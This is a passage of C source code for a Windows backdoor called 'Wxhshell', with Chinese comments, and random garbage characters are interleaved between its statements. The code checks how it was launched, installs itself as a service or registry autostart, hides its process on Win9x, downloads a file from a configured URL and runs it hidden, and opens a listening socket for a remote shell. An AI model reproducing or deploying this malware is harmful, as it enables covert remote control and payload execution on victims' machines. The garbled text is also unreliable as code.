R^Z V#8]io hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "8MG[$Y if(!hProcess) return 0; <YX)am'\y B;xw @:H if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <tkxE!xF`J AffVah2o: CloseHandle(hProcess); BzBij^h *lHI\5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @i'24Q[6 if(hProcess==NULL) return 0; #;FHyKx F7$x5h@ HMODULE hMod; mUW|4zl i} char procName[255]; uim4,Zm{ unsigned long cbNeeded; }YUUCq& YT7,=k _ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %qA@)u53 C"l_78 CloseHandle(hProcess); "q@OMf <[{Ty+ if(strstr(procName,"services")) return 1; // 以服务启动 BG:l Zj'I 6&/H
XqP return 0; // 注册表启动 p;Ezmz } b]S4\BBT .b]
32Ww // 主模块 xbJ@ z{ int StartWxhshell(LPSTR lpCmdLine) Wy^43g38'p { w5*?P4P SOCKET wsl; P<P4*cOV BOOL val=TRUE; )zw}+z3st int port=0; ,Q|[Yr struct sockaddr_in door; ]~S,K}T }p-<+sFo if(wscfg.ws_autoins) Install(); mXZOkx{ C =fs[ port=atoi(lpCmdLine); Y4*ezt:;Q tI50z khaB if(port<=0) port=wscfg.ws_port; 'Okitq+O ! K? o H WSADATA data; 9>~UqP9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hKq <e%oVH W\09hZ6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; j" wX7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s+Qm/ h2 door.sin_family = AF_INET; Mazjn?f door.sin_addr.s_addr = inet_addr("127.0.0.1"); {
?p55o door.sin_port = htons(port); !(\OT 'VA\dpa{J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ""`>v`\ closesocket(wsl); e*5TZ7. return 1; qc^u% } [@D+kL*> WK7=z3mu if(listen(wsl,2) == INVALID_SOCKET) { Qx,?v|Xg closesocket(wsl); V0hC[Ilr return 1; cgKK(-$ny } ca>6r` Wxhshell(wsl); c +Pg[1- WSACleanup(); l!Q |]-.@ [s?H3yQ. return 0; A#9@OWV5f C6Qnn@waYb } \ZdV|23 LF+#PnK // 以NT服务方式启动 n99>oh VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xh==F: { u@d`$]/>F DWORD status = 0; vUa~PN+Iy DWORD specificError = 0xfffffff; 4-^LC<}k I!bzvPJ]xc serviceStatus.dwServiceType = SERVICE_WIN32; AHsp:0Ma# serviceStatus.dwCurrentState = SERVICE_START_PENDING; xLht6%o* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b
62 o serviceStatus.dwWin32ExitCode = 0; .<JD'%?" serviceStatus.dwServiceSpecificExitCode = 0; j^A0[:2 serviceStatus.dwCheckPoint = 0; gE8=#%1< serviceStatus.dwWaitHint = 0; S-[]z* e-<fkU9^W hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q4_&C&7 if (hServiceStatusHandle==0) return; ,ry2J,IT7 x:8x GG9 status = GetLastError(); [uOW\)` if (status!=NO_ERROR) ,=KJ7zIK? { }N;c serviceStatus.dwCurrentState = SERVICE_STOPPED; :32 serviceStatus.dwCheckPoint = 0; M ,.++W\ serviceStatus.dwWaitHint = 0; C[ <OF/ serviceStatus.dwWin32ExitCode = status;
`o(PcX3/} serviceStatus.dwServiceSpecificExitCode = specificError; e9r#r~Qq| SetServiceStatus(hServiceStatusHandle, &serviceStatus); _%Q\G,a; return; =L~,HS(l, } 2%g)0[1 }vBk,ED serviceStatus.dwCurrentState = SERVICE_RUNNING; .Ajs0 T2 serviceStatus.dwCheckPoint = 0; ^T\JFzV serviceStatus.dwWaitHint = 0; Ikiv+Fq( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k>#,1GbNZy } ,2u-<8 & i|x2;
v // 处理NT服务事件,比如:启动、停止 4)Y=)#= VOID WINAPI NTServiceHandler(DWORD fdwControl) W2h^ShG { P\bW k p0 switch(fdwControl) <~# ZtD$G { ` +]9+:tS case SERVICE_CONTROL_STOP: !?B9 0( serviceStatus.dwWin32ExitCode = 0; fx|$(D@9 serviceStatus.dwCurrentState = SERVICE_STOPPED; l= 5kd.{ serviceStatus.dwCheckPoint = 0; xy`aR< L serviceStatus.dwWaitHint = 0; C/dqCUX: { bG
nBV7b SetServiceStatus(hServiceStatusHandle, &serviceStatus); =g'7 xA } Mj5=t:MI return; Ni IX^&N1 case SERVICE_CONTROL_PAUSE: N(mhgC<O serviceStatus.dwCurrentState = SERVICE_PAUSED; *=}$@OS break; Gad!}dz case SERVICE_CONTROL_CONTINUE: +GMM&6< serviceStatus.dwCurrentState = SERVICE_RUNNING; pLMki=.Ld break; '/
3..3k case SERVICE_CONTROL_INTERROGATE: NwM = break; OI B~W }; u{=(]n SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0hcrQ^BB!b } Q%~b(4E^7P {>>ozB. // 标准应用程序主函数 p"ht|x int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FCQI fJ# {
04NI.Jv !$hrK6o // 获取操作系统版本 ~$w-I\Q! OsIsNt=GetOsVer(); k{Yj!C>
# GetModuleFileName(NULL,ExeFile,MAX_PATH); 4VLrl8$K cF_`m // 从命令行安装 S:{hgi,T* if(strpbrk(lpCmdLine,"iI")) Install(); [r_,BH\nu msg&~"Z // 下载执行文件 &O5%6Sv3d if(wscfg.ws_downexe) { "_jczr$* if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +jzpB*@ WinExec(wscfg.ws_filenam,SW_HIDE); \Oh9)X:I } }K9Vr! 9ZUG~d7_ if(!OsIsNt) { JE,R[` & // 如果时win9x,隐藏进程并且设置为注册表启动 E,E:W uB HideProc(); :
:8UVLX StartWxhshell(lpCmdLine); Hx2.2A^ } u$x HiD else P:t|'t if(StartFromService()) _={*<E // 以服务方式启动 ^dH#n~Wx0 StartServiceCtrlDispatcher(DispatchTable); a_'W1ek-@ else x- ) D@dw< // 普通方式启动 \^SL Zhe StartWxhshell(lpCmdLine); a^i`DrX yyxGVfr return 0; -wlob`3 }
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